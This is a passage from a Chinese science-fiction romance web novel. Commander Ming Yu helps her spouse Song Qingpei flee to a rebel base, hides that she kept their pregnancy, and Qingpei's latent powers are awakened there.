仿佛是某种神经敏感,明毓立刻解释道:“不,我也是今天才知道。乌澜这个人”她摇摇头,“行事神秘,让人猜不透她在想什么。但有一点可以确定,她确实在帮你离开。” 听着她的话,宋青佩恍惚中,不由想到了自己之前对神秘人的猜测,那种熟悉的语气,的确十分相似,越发肯定了自己的猜测。 只是,她实在想不通乌澜到底为什么这么做? 她消化着这些信息,突然意识到什么:“所以你明天就安排我走吗?这么快?” “越快越好。”明毓语调颤了一下,仿佛带着某种眷恋,却又不得不决绝道:“战笠已经起疑了,多留一天就多一分危险。” 她的语气太过平静,仿佛只是在安排一次普通的出差,宋青佩胸口突然涌上一股难以名状的情绪,既不是喜悦也不是悲伤,而是一种空荡荡的失落。 “明毓”她张了张嘴,却不知该说什么。 就在这时,手术室的门开了,一位戴着口罩的医生走出来:“明上将,一切准备就绪,可以开始了。” 明毓的身体明显僵硬了一瞬,但很快站起身:“好的,谢谢。” 她转向宋青佩,嘴角扯出一个苍白的微笑:“等我一下,很快就好。” 就在明毓转身的瞬间,宋青佩突然抓住她的手腕。 这个动作十分突然,仿佛是出于本能一般,连她自己都吓了一跳。理智告诉她应该放手,可心底有个声音在疯狂呐喊:留下它!留下这个属于你们两个人的孩子! 明毓惊讶地回头,眼中闪过一丝宋青佩读不懂的情绪—— 期待?希望?还是兼而有之 “这个孩子”宋青佩声音轻得几乎听不见,“我们” 明毓的目光在她脸上逡巡,在看到宋青佩脸上的痛楚后,她的眸子微不可见的亮了一下,随即很快转为了心疼,决然的出言打断了她未完的话。 “是我不想要。青佩,这本就不该是你的负担。” 她说着后退一步,拉开两人之间的距离:“等我处理好这一切,就会让林中尉送你去飞云号。慕容瑞雪会在那里等你,带你去见慕容暇。”顿了顿,又补充道:“我已经安排好了一切,你会很安全。” 宋青佩站在原地,看着明毓转身走向手术室。 那扇白色的门在她面前缓缓关闭,最后一刻,她似乎看到明毓的肩膀微微颤抖,但也许只是灯光造成的错觉。 “砰”的一声轻响,门关上了。 宋青佩像被抽干了所有力气,跌坐在长椅上。 走廊上的时钟滴答作响,每一秒都被无限拉长。 她盯着手术室门上那盏“手术中”的红灯,脑海中不断回放明毓刚才说的话、看她的眼神,还有那句“这不是你的负担”,只觉得胸口越发憋闷。 “宋小姐?”一个护士走过来,递给她一杯水,“您脸色很差,需要帮助吗?” 宋青佩摇摇头,接过水杯才发现自己的手在发抖,温水滑过喉咙,却浇不灭内心翻腾的情绪。 她看了一眼时间,才过去十分钟,却像一个世纪那么漫长。 走廊尽头传来急促的脚步声,林中尉快步走来:“宋小姐,刚收到消息,调查局的人正在全城搜捕慕容瑞雪,可能已经怀疑到飞云号了!” 宋青佩猛地站起身:“什么?” “上将安排您离开的计划恐怕要提前了。”林中尉压低声音,“我们必须马上行动。” 宋青佩看向紧闭的手术室门,心跳如雷。 一边是为了救小姨离开,一边是正在手术的明毓和那个未出世的孩子 她从未面临过如此艰难的抉择。 “再等等。”她听见自己说,“等手术结束我必须见她一面。” 林中尉欲言又止,最终点点头退到一旁。 时间一分一秒地流逝,宋青佩的指甲不知不觉陷入掌心,当手术室的门终于打开时,她立刻迎了上去。 医生走出来,摘下口罩:“手术很顺利,明上将正在恢复室休息,需要观察一小时才能离开。” 宋青佩的心沉了下去,艰涩道:“她还好吗?” “身体上的创伤会很快愈合。”医生意味深长地看了她一眼,“但心理的创伤需要时间。” 这句话像刀子一样扎进宋青佩心里。 她僵硬地点点头,跟着护士来到恢复室。 明毓躺在病床上,脸色比床单还要苍白,她闭着眼睛,长长的睫毛在眼下投下一片阴影,整个人看起来脆弱得不可思议。 点滴瓶里的液体一滴滴落下,仿佛在倒数她们所剩无几的时间。 宋青佩轻轻在床边坐下,不敢惊动她。 但明毓似乎感应到了什么,缓缓睁开眼睛。 “结束了?”她轻声问,声音虚弱得几乎听不见。 宋青佩点点头,喉咙发紧:“医生说很顺利。” “嗯。”明毓勉强笑了笑,“林中尉来了吗?” 宋青佩知道她问的是什么:“来了。她说调查局的陈铎似乎怀疑到了飞云号,计划需要提前。” 明毓的表情立刻变得警觉:“那你必须马上走。”她挣扎着要起身,“我现在就安排——” “别动!”宋青佩按住她的肩膀,“医生说你失血过多,需要休息。” 明毓摇摇头,固执地坐起来:“没时间了。如果调查局找到飞云号,一切都完了,立刻让林中尉进来。” 她说话间呼吸急促,但眼神依然坚定。宋青佩看着她苍白的嘴唇和额角的冷汗,突然意识到看似强大的明毓此刻有多么脆弱。 “为什么要这么做?”她忍不住问。 “因为我答应过你。”明毓的目光落在宋青佩脸上,满目都是她:“这次,我不会再骗你了。” 这句话彻底击碎了宋青佩的心墙。 她突然明白,从始至终,明毓都在用自己的方式爱她——即使那种爱有时显得偏执、强势,甚至令人窒息,但从未改变。 而现在,明毓选择用放手来证明这份爱。 “我去叫林中尉进来。”宋青佩站起身。 林中尉急匆匆地推门而入,脸色凝重:“上将,不好了!刚刚接到山水庄园的通讯,调查局代局长陈铎已经带着稽查令到了庄园,说要带宋小姐回去配合调查!” 宋青佩难掩惊讶:“他们的行动居然这么快。” 病床上的明毓瞳孔骤然收缩,她一把扯掉手背上的输液针,鲜血顿时从针眼处渗出,在雪白的床单上晕开一朵刺目的红。 “上将!您还不能动!”林中尉惊呼。 明毓却已经撑着站了起来,她的军装外套还搭在椅背上,只穿着单薄的衬衫,整个人摇摇欲坠却目光如炬:“备车,我们立刻回飞云号。” “可是您的身体——” “执行命令!”明毓的声音不容置疑。 宋青佩看着她苍白如纸的脸色,试图阻止她:“明毓,你这样会” 明毓已经抓起外套披在肩上,动作利落地系好纽扣,将领口拉高遮住脖颈上的冷汗:“没时间了。陈铎敢直接去山水庄园,说明战笠已经确定了你的身份,我们得赶紧走。” 三人快步穿过医院走廊,明毓的脚步虽然虚浮却异常坚定。宋青佩注意到她后背的衬衫已经被冷汗浸透,贴在单薄的脊背上,她伸手半环住了她的腰,生怕她身体受不了倒下。 悬浮车早已在医院门口等候。 上车时,明毓踉跄了一下,宋青佩下意识伸手扶住她的腰。 “小心”宋青佩的声音哽在喉咙里。 明毓感受她掌心的体温在,转头安抚的笑了笑:“放心,我没事。” 车内,两人并排而坐,却都沉默不语。 明毓的呼吸有些急促,她紧抿着嘴唇,目光直视前方。 窗外景色飞速后退,宋青佩望着明毓映在车窗上的侧脸,那轮廓在夜色中显得格外脆弱。她张了张嘴,却不知该说什么。 “明毓”最终,她艰难地开口,“你一定要照顾好自己,还有颂颂” 明毓的睫毛轻轻颤了颤,低声:“嗯。” 这个简单的回应让宋青佩胸口发闷。她伸手想碰触明毓的手,却在半路停住,最终只是轻轻搭在了座椅边缘:“我会回来的,我保证。” 这句话终于让明毓转过头来。 她的眼睛在昏暗的车内亮得惊人,里面盛满了宋青佩读不懂的情绪。 下一秒,明毓突然倾身紧紧抱住了宋青佩的腰,整个人埋在了她的怀里。 “原谅我好吗?青佩”她在宋青佩耳边低语,声音轻得如同叹息,带着前所未有的恳求。 宋青佩反手抱住明毓单薄的身体,感受到对方剧烈的心跳:“好。” 明毓的手臂收紧了一瞬,又很快松开。 当悬浮车停在飞云号泊位前时,她已经恢复了那副冷静自持的模样,只有微微泛红的眼角泄露了方才的情绪。 飞云号的舱门缓缓打开,慕容瑞雪早已等候多时。 看到宋青佩,她明显松了口气,但随即注意到明毓惨白的脸色:“明上将,您这是” “时间紧迫。”明毓打断她,声音恢复了往日的威严,“人我交给你了,务必保证她的安全。” 慕容瑞雪郑重点头:“不用你说,我也会用生命保护青佩的。” 明毓转向宋青佩,两人目光相接,千言万语都化作无声的对视。 最终,明毓只是轻轻点了点头:“去吧。” 就在这时,林中尉突然冲进舱室:“上将,不好了!陈铎带人包围了飞云号!” 明毓的眼神骤然锐利,她一把抓住宋青佩的手腕:“跟我来!” 三人快步穿过错综复杂的舰内通道,明毓虽然脚步虚浮,却对飞云号的每一个角落都了如指掌。 她带着宋青佩和慕容瑞雪来到一个隐蔽的逃生舱前。 “从这里可以直达下层停机坪。”明毓快速输入密码,舱门应声而开,“有一艘伪装成补给舰的小型飞船,足够你们离开首都星。” 宋青佩抓住明毓的手臂:“那你呢?” 明毓的嘴角勾起一抹淡淡的笑:“我是联邦上将,他们不敢拿我怎么样。”她将一个小型数据芯片塞进宋青佩手中,“这里面有星际航线图和联络方式,到达安全地点后联系我。” 舱外传来杂乱的声音,时间所剩无几。 明毓突然捧住宋青佩的脸,在她唇上落下一个短暂的吻:“青佩,记住你的承诺。” “我和颂颂等你回来!” 说完,她毫不犹豫地将宋青佩推入逃生舱。 在舱门关闭的最后一刻,宋青佩看到明毓挺直了脊背转身,单薄的身影,在她的视线中慢慢远去。 她忽然想到了两人的第一次分别。 只是这次,她还没走,就期盼着赶紧回来。 第79章 妈妈给你生个妹妹好不好? 明毓站在飞云号的舰桥上,军装笔挺,面色冷峻。 她目光锐利地盯着监控屏幕中正在登舰的调查局人员,但手术后的虚弱感仍在体内蔓延,为了避免被人看出,她努力挺直腰背,不露出疲态。 很快,调查局代局长陈铎就到了。 “明上将。”她带着一队武装人员大步走来,脸上挂着虚伪的笑容,“打扰了,我们接到可靠情报,黑鸢花组织的要犯慕容瑞雪可能藏匿在飞云号上。” 明毓纹丝不动,连眼皮都没抬一下:“陈代局长,你的情报来源可靠吗?” 陈铎脸上的笑容僵了僵,随即又恢复如常:“当然可靠。而且……”他故意拖长声调,“我们得知宋青佩女士与慕容瑞雪过往甚密,需要她配合调查。” 明毓终于抬起头,眼神冷得像冰:“证据呢?” “这”陈铎一时语塞,随即道,“明上将,这是总统亲自下达的命令,还请您配合。” 明毓冷笑一声,神色凌厉地看向陈铎。 长年积威的姿态,让陈铎不自觉地后退了半步,随即他察觉到了失态,又硬生生地止住了脚步,只是气势明显弱了许多。 “既然你搬出了总统,那不如我们现在就去见总统阁下。”明毓的声音不大,却带着不容置疑的威严,“我倒是想当面问问,联邦什么时候开始凭猜测抓人了?” 陈铎的脸色变了变:“明上将,您何必……” “怎么?不敢去?”明毓打断他,嘴角勾起一抹讥讽的弧度,“还是说,这根本就是你假传总统命令?” “飞云号舰队上都是联邦最忠诚优秀的士兵,陈代军长公然带着人到这来挑衅,是质疑我们对联邦的忠诚吗?” “这真的是总统阁下亲自授意的吗?” 明毓步步紧逼,故意将陈铎的行为放大。 舰桥上的军官们闻言,纷纷将不满的目光投向陈铎。 没想到明毓会突然发难,陈铎额头渗出细密的汗珠,他咬了咬牙,识趣道:“明上将,您误会了。我此番行动仅仅是设计调查局内部的案子,与飞云号舰队无关,今天是我莽撞了,请您见谅。” “但我也是为了追缴黑鸢花叛军,一切都是为了联邦的安危,请上将理解。” 闻言,明毓并未退让。 她需要争取足够的时间让宋青佩离开,所以决不能给陈铎进入飞云号搜查的机会,于是她佯怒道:“既然如此,那我们就去见总统!要搜飞云号,你还不够资格。” 陈铎一路爬上来也是个人精,明白以明毓的身份,若是真的撕破脸,总统不一定会完全护着他,甚至可能会为了缓和关系,将他当作棋子。 被当众打脸的陈铎并没有反驳,反而赔笑道:“既然明上将坚持,那我们便去见总统阁下吧。” 两人剑拔弩张地对视一眼,先后离开了飞云号星舰。 —— 总统府内,战笠正坐在宽大的办公桌后批阅文件。 看到明毓和陈铎一同进来,他放下笔,脸上露出恰到好处的惊讶。 “明毓,陈代局长,这么晚了有什么事?” 陈铎抢先一步上前:“总统,我们怀疑宋青佩与慕容瑞雪有联系,但明上将拒绝配合调查。” 战笠的目光转向明毓,眼中闪过一丝精光:“明毓,这是怎么回事?” 明毓淡淡地应着他的目光,声音平静:“总统,陈代局长无凭无据就要带走我的妻子,这不合规矩。” 战笠沉吟片刻,露出为难的表情:“明毓啊,陈代局长也是为了联邦安全着想。如果宋青佩真的清白,配合调查一下也无妨嘛。” 明毓眼中闪过冷意,并没有与他虚以为蛇,她现在必须让战笠明白,她保护青佩的决心,哪怕与他撕破脸,两败俱伤。 于是一向处事有分寸的明毓,罕见地公然冷嘲道:“总统阁下,如果今天有人无凭无据就要调查您的家人,您也会这么‘大度’吗?” 果然,战笠闻言脸色一变,但很快又恢复了从容:“明毓,你这话就严重了。不过……”他转向陈铎,“陈代局长,办案确实要讲证据,你有什么确凿的证据吗?” 陈铎支支吾吾:“这个我们还在调查中……” 明毓冷笑一声:“也就是说,没有证据。” 战笠见状,立刻打圆场:“既然这样,陈代局长,你还是先回去收集更多证据。明毓是联邦的功臣,我们还是要给予充分尊重的。” 陈铎神色不甘,但在战笠的眼神示意下,只能悻悻地退了出去。 房间里只剩下明毓和战笠两人。 空气仿佛凝固了一般,两人对视着,谁都没有先开口。 最终,战笠叹了口气,语气亲切:“明毓啊,别往心里去。陈铎这个人就是太较真了,本性不坏嘛,也是为了联邦的安危。” 明毓面无表情:“总统言重了。” 战笠走到明毓身边,状似无意地问:“说起来,宋小姐去哪了?怎么没跟你一起来?” 明毓目光平静地与他对视:“青佩出去旅行了,短时间不会回来。” “哦?”战笠挑了挑眉,“这么突然?” “她一直想去看看,我正好最近忙,就让她先去散散心。”明毓的语气轻松,仿佛在谈论今天的天气。 战笠盯着明毓看了几秒,突然笑了:“年轻人就是精力充沛。好吧,等宋青佩回来,记得带她来总统府做客。” “一定。” “好了,你先去忙吧,我还有公事要处理。” 明毓点头致意,转身离开。 踏出总统府大门时,夜风裹挟着凉意扑面而来。 她站在台阶上,忽然觉得双腿发软,眼前一阵发黑。方才在战笠面前强撑的气势如潮水般退去,取而代之的是手术后的虚弱与疼痛。 她扶住冰冷的石柱,深深吸了几口气,才勉强稳住身形。 悬浮车就停在不远处,林中尉见她脸色苍白,立刻上前搀扶:“上将,您还好吗?” “没事。”明毓摆摆手,声音沙哑,“去接颂颂。” 车内,明毓靠在座椅上,额头渗出细密的冷汗。 她闭着眼,脑海中全是宋青佩。 她现在到哪了?安全了吗?慕容瑞雪能否护她周全?无数担忧在心头翻涌,却无人可诉。 “妈咪!” 幼儿园门口,颂颂一看到明毓的车就欢快地跑过来,小书包在背后一颠一颠的。明毓强撑着露出笑容,弯腰将女儿抱进怀里。 颂颂身上带着孩童特有的温暖和奶香,让明毓冰冷的心稍稍回暖。 “今天开心吗?”明毓轻声问,手指轻轻梳理着女儿有些凌乱的发丝。 颂颂用力点头,兴奋地讲述着幼儿园的趣事,忽然左右张望:“妈妈呢?她没来接我吗?” 明毓的指尖微微一顿。 她蹲下身,与颂颂平视,努力让自己的声音听起来平静:“妈妈有事出门了,过几天才能回来。” 颂颂的小脸顿时垮了下来,眼中闪过一丝失落,但很快又扬起笑容:“那妈咪要陪我玩!” “好。”明毓摸摸她的头,心中酸涩。 回到山水庄园,空荡的别墅显得格外寂静。 明毓机械地陪着颂颂吃晚餐,目光却总是不自觉地瞟向宋青佩常坐的位置。 “妈咪,你的饭都没动。”颂颂歪着头,担忧地看着她,“你不舒服吗?” 明毓回过神,勉强笑了笑:“妈咪只是在想事情。” “想妈妈吗?”颂颂眨着大眼睛,“我也想妈妈了。” 明毓喉咙发紧,不知该如何回应。 她放下筷子,轻声道:“颂颂吃饱了吗?要不要去洗澡?” “好!”颂颂跳下椅子,却又突然转身抱住明毓的腿,“妈咪,你不要难过,妈妈很快就会回来的!” 明毓眼眶一热,将女儿紧紧搂在怀里。 浴室里,颂颂坐在浴缸中玩着泡泡,明毓坐在一旁,心不在焉地为她擦洗。 温热的水汽氤氲在空气中,颂颂忽然仰起湿漉漉的小脸:“妈咪,你是不是生病了?你的手在发抖。” 明毓这才发现自己的失态,她勉强笑了笑:“妈咪没事,可能是有点累了。” “那颂颂给你讲故事!”小家伙一本正经地坐直身体,“今天老师讲了一个小兔子找妈妈的故事” 明毓听着女儿稚嫩的声音,胸口又暖又痛。 睡前,颂颂蜷缩在被窝里,情绪明显很低落。 明毓不擅长哄小孩,想到她之前的谎言肯定过几天就会被戳破,必然会给颂颂带来巨大的伤害,她不知道该怎么说,才能让小家伙不要那么难过。 可是,怎么可能呢? 她一个成人都仿佛锥心之痛,更何况是一个孩子。 好在明毓想着,下意识的摸了摸腹部,忍不住露出一抹笑。 颂颂见妈咪不说话,不由伸手拉了拉她,小声问:“妈咪,你怎么了?不开心吗?” 明毓坐在床边,看着她许久,忽然轻声道:“颂颂,妈咪给你生个妹妹好不好?” 颂颂一下子坐了起来,小脸上写满惊喜:“真的吗?妈妈有宝宝了?” 明毓笑着点头,手指轻轻抚过自己的腹部。 当时在手术台上,医生已经准备好了麻醉,可最后一刻,她还是反悔了。 那是她和青佩的孩子啊,她怎么舍得? 而且她能看出来,青佩也是想要留下这个孩子的,最终她还是忍不住终止了手术,只是为了让宋青佩心无芥蒂的离开,选择了隐瞒。 “但是要保密。”明毓竖起手指抵在唇边,“等妈妈回来,我们再告诉她,给她一个惊喜,好不好?” 颂颂兴奋地点头,立刻小心翼翼地趴到明毓的肚子旁,用小手轻轻摸了摸:“妹妹要乖乖的,等妈妈回来哦!我是姐姐,我会保护你的!” 明毓看着女儿兴奋的样子,心中既温暖又酸楚。 “妈咪,妹妹能听到我说话吗?”颂颂仰起小脸,好奇地问。 “当然可以。”明毓柔声回答,将女儿搂进怀里,“妹妹最喜欢姐姐的声音了。” 颂颂开心地又对着明毓的肚子说了好多话,说明天要给妹妹画一幅画,还要把自己的小熊玩具送给妹妹。 看着女儿天真可爱的模样,明毓鼻子一酸,眼前浮现出宋青佩的脸。若是她在这里,该多好。 “妈咪,妈妈知道了一定会很开心的!”颂颂突然说道,眼睛里闪着光。 明毓喉头发紧,只能轻轻点头:“嗯,一定会。” 夜深人静,明毓独自站在阳台上,望着满天繁星。 她的手轻轻覆在小腹上,低声呢喃:“青佩,我和孩子们等你回家。” 夜风吹散了她的话,却吹不散眼中深深的思念。 第80章 思念 飞船在浩瀚的星海中穿行,舷窗外是永无止境的黑暗与星光。 宋青佩坐在副驾驶座上,手指无意识地摩挲着明毓给她的通讯芯片。 “关闭所有通讯设备了吗?”慕容瑞雪突然开口,打断了她的思绪。 宋青佩回过神来,点点头:“已经按照你说的做了。”她停顿了一下,“我们已经离开澜星了,联邦应该已经追踪不上我们了。” 闻言,慕容瑞雪的手指在控制面板上快速滑动,调出星图:“联邦的追踪技术比你想象的先进得多。明上将给你的芯片虽然加密了,但只要有信号发出,就有可能被联邦调查局截获。” 见她这么说,宋青佩没再多言,毕竟小心为上。 看她突然不说话了,慕容瑞雪顿了一下,神色复杂地试探道:“青佩,你在想明毓吗?你又重新爱上她了吗?” 听到明毓的名字,宋青佩的心像被针扎了一下。 她想起离开前明毓苍白的脸色,那个未出世的孩子,还有那个短暂的吻 她重新爱上明毓了吗? 这么久以来,她一直在逃避这个问题,不愿去想。明毓当初的所作所为,消耗了她所有的信任,可在她放手的那一刻,一切隔阂似乎都在慢慢消失。 才离开不久,满腔的思念好似在慢慢将她填满。 她确实在想明毓,或许她真的又重新爱上了明毓? 不,她确定,她爱明毓! “青佩?”慕容瑞雪的声音将她拉回现实,“你还好吗?” 宋青佩深吸一口气:“没事。”她顿了一下,仿佛在跟慕容瑞雪,又好似在跟自己说:“对,我爱明毓,比曾经更爱。” 没想到她这么直接,慕容瑞雪愣神片刻,不由苦笑道:“真是天意弄人啊!我一直以为我们才是最相配的。” “什么?”宋青佩一脸惊愕。 “你别紧张,我现在已经没这个心思。”慕容瑞雪见她一脸紧张,忙笑道:“只是这么久以来,养母一直都是这么告诉的,一时间难免有些转不弯来了。” 听她提起慕容暇,宋青佩顺*势问出心中的疑惑,“瑞雪,你当初故意接近我,除了想带我回去,还想做什么?” 她说得含蓄,但慕容瑞雪当初屡屡引诱表白,明显还存了别的心思。 船舱内突然安静下来,只有引擎的嗡鸣声回荡。 许久,慕容瑞雪才开口:“青佩,对不起。”她的声音很轻,却带着真诚的歉意,“一开始处心积虑引诱你确实存了别的心思。我是为了完成养母交给我的任务。” “任务?” “想办法带你回去见老师。”慕容瑞雪的目光望向远处,“如果失败,起码也要怀上你的孩子,继续未完成的实验。这是养母的遗愿,也是她坚持了二十年的执念。” “什么实验?”听到自己不知道的事情,宋青佩的手指微微收紧:“瑞雪,能告诉我更多关于慕容暇的事吗?” 慕容瑞雪引起了这个话题,本就是想将一切告诉她的。 于是缓缓道:“养母是个很严肃的人,但对我很好。她救了我,把我养大,教授我知识,训练我战斗,也给我灌输了很多理念。”慕容瑞雪苦笑道,“我这一生都在为黑鸢花而活,因为这是老师期望的。” “所以你才那么执着地找我?” “一开始是。”慕容瑞雪转头看向宋青佩,眼神复杂,“但后来”她摇摇头,“不说这个了。总之,我现在带你去见老师,既是为了完成养母的遗愿,也是想让你知道真相。” 宋青佩感到一阵莫名的不安:“什么真相?” 慕容瑞雪没有直接回答,而是突然问道:“你知道为什么老师一定要找到你吗?” “因为我母亲和容总统的事?” “不止如此。”慕容瑞雪的声音低沉下来,“你是关键,青佩。老师这些年一直在研究的‘新人类计划’,你是最完美的实验体。” “实验体?”宋青佩猛地坐直身体,寒意从脊背窜上来。 慕容瑞雪意识到了她的紧张,急忙解释:“你别紧张,不是你想的那样。老师只是想延续容总统的研究。” 她犹豫了一下,继续道:“其实我也是试验品之一。老师从小就告诉我,我和你的基因匹配度最高,如果我们结合生下孩子,后代会有最完美的基因序列。” 宋青佩震惊地看着她,仿佛听到了什么可怕的笑话。 “别担心,那都是过去的事了。”慕容瑞雪突然笑了,“我早就放弃这个荒谬的想法了。” 虽然她这么说,但宋青佩还是感到一阵不适,她不由想起慕容瑞雪之前对她的那些暧昧举动 飞船突然轻微震动了一下,警示灯闪烁起来。 “小行星带。”慕容瑞雪立刻专注于驾驶,“我们得手动操作穿过这片区域。” 接下来的半小时里,两人都专注于导航。 当飞船终于平稳下来后,宋青佩才从震惊中回过神来,重新开口:“慕容暇她到底想做什么?” 慕容瑞雪的表情变得严肃:“老师想完成容总统未竟的事业——创造不受信息素控制的‘新人类’,她相信这是改变联邦阶级固化的唯一途径。” “所以我是” “你是第一个成功案例。”慕容瑞雪直视着她的眼睛,神色复杂道:“你的母亲宋灼华怀你时,接受了蓝树抑制剂的基因改造,这也是为什么你可以不受信息素影响的原因。” 宋青佩感到一阵眩晕,这个信息太过震撼。 她一直以为自己信息素冷淡,是劣等Alpha,没想到其中居然还有这种原因。 船舱再次陷入沉默。 宋青佩望着窗外的星空,思绪万千。也越发明白,以后怕是还有更多未知的事情等着她,在她的身世揭晓的那一刻,很多事情已经不由她自己了。 “青佩。”慕容瑞雪突然开口,声音柔和,“你放心,我不会配合老师继续这个实验的。我带你去见她,是为了让你知道真相,而不是成为实验品。” 宋青佩转头看她,发现对方眼中的真诚不似作假。 这一刻,她突然理解了慕容瑞雪的矛盾与挣扎。 “谢谢。”她轻声说,“但是为什么突然这么帮我?” 慕容瑞雪笑道:“因为看到你和明上将让我明白了一些事。”她苦笑道,“我太执着于完成任务,却忽略了最重要的人性。感情的事勉强不来。” 宋青佩心中的不安这才稍稍缓解,但那个关于“新人类计划”的信息仍像阴影般笼罩着她。 “我们还有多久到?”她问道,声音有些干涩。 “三天左右。”慕容瑞雪调整了航线,“休息一下吧,到了我叫你。” 宋青佩点点头,靠在座椅上闭上眼睛。 但她的脑海中不断浮现各种画面:明毓苍白的脸、颂童天真的笑容、没什么记忆的母亲,还有从未谋面的慕容暇 一切交织在一起,织就无解的未来。 飞船继续向着未知的星域前进,驶向那个改变许多人命运的会面。 三天后。 在穿过一片小行星带后,两人终于抵达了黑鸢花组织的秘密基地——一颗隐藏在星云深处的灰色星球。 宋青佩站在舷窗前,心跳不受控制地加快。 “我们到了。”慕容瑞雪的声音从身后传来,“老师已经在等你了。” 飞船降落在星球表面的一个隐蔽停机坪。 舱门打开时,一股带着金属锈蚀味的冷风扑面而来,宋青佩下意识裹紧了外套,跟着慕容瑞雪穿过长长的金属通道。 通道尽头是一扇厚重的防爆门,两侧站着全副武装的守卫。 他们见到慕容瑞雪,立刻行礼让开。 门后是一个宽敞的圆形大厅,墙壁上投射着联邦各星系的实时星图,数十名工作人员正在忙碌地操作各种设备。 “这里是我们的指挥中心。”慕容瑞雪低声解释,“老师大部分时间都在医疗室,她的身体状况不太好。” 宋青佩点点头,跟着她拐进一条侧廊。 随着深入,周围的温度明显降低,空气中弥漫着消毒水和药物的气味。 最终,她们停在一扇半透明的医疗舱门前。 “进去吧。”慕容瑞雪轻轻推开门,“老师等你很久了。” 舱内光线柔和,各种医疗设备环绕着一张病床。床上靠坐着一个瘦削的女人,灰白的长发披散在肩头,面容苍白却依然能看出昔日的凌厉。 最引人注目的是,她右脸上那道从眉骨延伸到下颌的狰狞伤疤。 “青佩”女人的声音虚弱却清晰,“终于见到你了。” 宋青佩站在门口,突然不知该如何反应。 这就是黑鸢花的创始人——慕容暇,现在就在她眼前,却只是一个病弱的老人。 “过来些,让我好好看看你。”躺在床上的慕容暇招招手,眼神柔和下来,“你长得很像你妈妈,也像灼华,特别是这双眼睛。” 宋青佩缓步走近,在病床边停住。 近距离看,慕容暇的情况比她想象的更糟——枯瘦的手背上布满针眼,呼吸时胸口有明显的起伏,显然肺部已经严重受损。 “慕容阿姨。”宋青佩试探着开口,“您还好吗?” 慕容暇轻笑一声:“见到你我很高兴。至于身体”她摇摇头,“我撑不了多久了,能在死前见到你,已经了却一桩心愿。” 气氛一时有些尴尬。 宋青佩不知该说什么,只能低头垂着眼眸。 “当年的事,你都知道了?”慕容暇突然问道。 宋青佩点点头:“大概了解一些。关于我母亲。” “那你知道为什么我一定要找到你吗?” 宋青佩犹豫了一下:“瑞雪说是什么‘新人类计划’?” 慕容暇的眼神骤然锐利,转向门口的慕容瑞雪:“你都告诉她了?” 慕容瑞雪低下头:“老师,我认为青佩有权知道真相。” “算了。”慕容暇叹了口气,重新看向宋青佩,“确实如此。你是研究的第一个成功案例,也是唯一一个从胚胎期就接受蓝树基因改造的人类。” 她示意慕容瑞雪从床头的保险箱中取出一个金属盒。 打开后,里面是一支装有淡蓝色液体的试管和几份泛黄的文件。 “这是当年你妈妈怀孕时使用的蓝树提取液配方。”慕容暇轻抚着试管,“桃夭当年发现蓝树液体不仅能中和信息素对人的影响,还能强化人类的精神力。但注射对成年人效果有限,最好的方式是从胚胎期开始改造。” 宋青佩感到一阵眩晕:“所以我是实验品?” “不!”慕容暇突然激动起来,剧烈咳嗽了几声,“你是我们的希望!你妈妈宋灼华她自愿参与这个实验,因为她相信这是改变联邦未来的唯一途径。” 她颤抖着打开文件,里面是几张老照片。 其中一张上,一个面容温婉的女人怀抱着婴儿,旁边是个面容偏冷的女子。 宋青佩的心脏猛地一跳,里面的人她曾经在宋元帅家的合照上看到过,她几乎没什么记忆的妈妈,生母宋桃夭,还有她的母亲——容岑。 “青佩,你并不是什么劣等Alpha。”慕容暇的声音变得坚定,“相反,你的精神力远超常人,只是这种力量一直被压抑着,需要特定频率的声波才能唤醒。” 她按下床头的通讯器:“把设备准备好。” 不到五分钟,几名技术人员推着一台机器进来,它看起来像是医疗舱和神经连接装置的结合体,顶部有一个半球形的透明罩。 “这是神经共振仪。”慕容暇解释道,“能激活你体内沉睡的精神力,过程可能会有些不适,但瑞雪会全程陪着你。” 宋青佩本能地后退一步:“等等,我还没准备好” “青佩。”慕容暇突然抓住她的手,力道大得惊人,“现在的情况很糟,我撑不了多久了,你必须尽快接受黑鸢花,继续你母亲的遗志。还有,帮我救出灼华。“说到爱人,她的眼底闪烁着泪:“让我临死前,再见她一面。” 听她提起小姨,宋青佩原本有些退缩的念头,立刻被强行压了下去。 “好。”她最终点头。 接下来的三小时里,宋青佩躺在神经共振仪中,经历了一场前所未有的精神洗礼。她的意识仿佛被撕成碎片,又重组,无数陌生的记忆和画面在脑海中闪回。 最痛苦的时刻,她几乎要放弃,却恍惚间看到了明毓的脸。 那双眼睛给了她坚持下去的力量。 当一切结束时,宋青佩浑身被汗水浸透。 “成功了”慕容暇的声音充满惊喜,“青佩,你现在的精神力已经达到SSS级了,这在整个联邦都是极为稀有的。” 宋青佩缓缓坐起,她尝试集中精神力,发精神力变得异常充沛。 慕容暇剧烈咳嗽起来,嘴角渗出血丝:“时间不多了青佩,听好” 她示意慕容瑞雪取来一个金属箱,里面整齐地排列着五块晶体片。 “这是解码器。”慕容暇艰难地解释,“分别对应五份航线图,只有同时激活,才能找到蓝树的正确位置” 又是一阵剧烈的咳嗽,医护人员急忙上前为她注射药物。 慕容暇摆摆手示意他们退下。 “战笠现在支持率低迷被调走的元帅之一秦勉最实力又野心勃勃,一直垂涎总统的位置”她断断续续地说,“利用他们的矛盾联合秦勉对付战笠这是我们扳倒战笠唯一的机会” 宋青佩将这些信息牢牢记在心中:“我明白了。” 慕容暇突然抓住她的手,力道大得惊人:“答应我让我再见灼华一面这是我最后的愿望” 她的眼中闪烁着泪光,传说中冷酷无情的黑鸢花领袖,此刻只是一个渴望见到爱人的普通人。 “我一定会救出小姨的。”宋青佩郑重承诺。 慕容暇如释重负地靠回枕上:“黑鸢花就交给你了,我会让瑞雪协助你别让我失望。” 说着,她仿佛耗尽了所有的力气,近乎无力的躺在床上。 见状,慕容瑞雪忙上前:“义母,您先休息吧。” 宋青佩和慕容暇并不是很熟,只能有些尴尬的一起劝,仿佛把所以的话都交代完了,慕容暇没再强撑着,却还不忘嘱咐。 “瑞雪,尽快帮青佩熟悉黑鸢花的一切。” “您放心,我知道了。” 慕容暇这才让医生为她治疗,两人暂时退了出去。 接下来的日子里,宋青佩在慕容瑞雪的帮助下熟悉黑鸢花的运作。 这个组织远比她想象的庞大——不仅在联邦各处设有秘密据点,甚至渗透进了军部和政府高层,每天高强度的工作让她几乎没有时间思考其他事情。 但夜深人静时,明毓和颂颂的身影总会浮现在脑海中。 她想起离别时明毓苍白的脸色,想起她说的“我和颂颂等你回来”,不知道颂颂会不会哭 她不由取出明毓给她的数据芯片,轻轻摩挲着,可暂时还不能联系明毓,以免暴露位置。 但这种分离的痛苦却与日俱增。 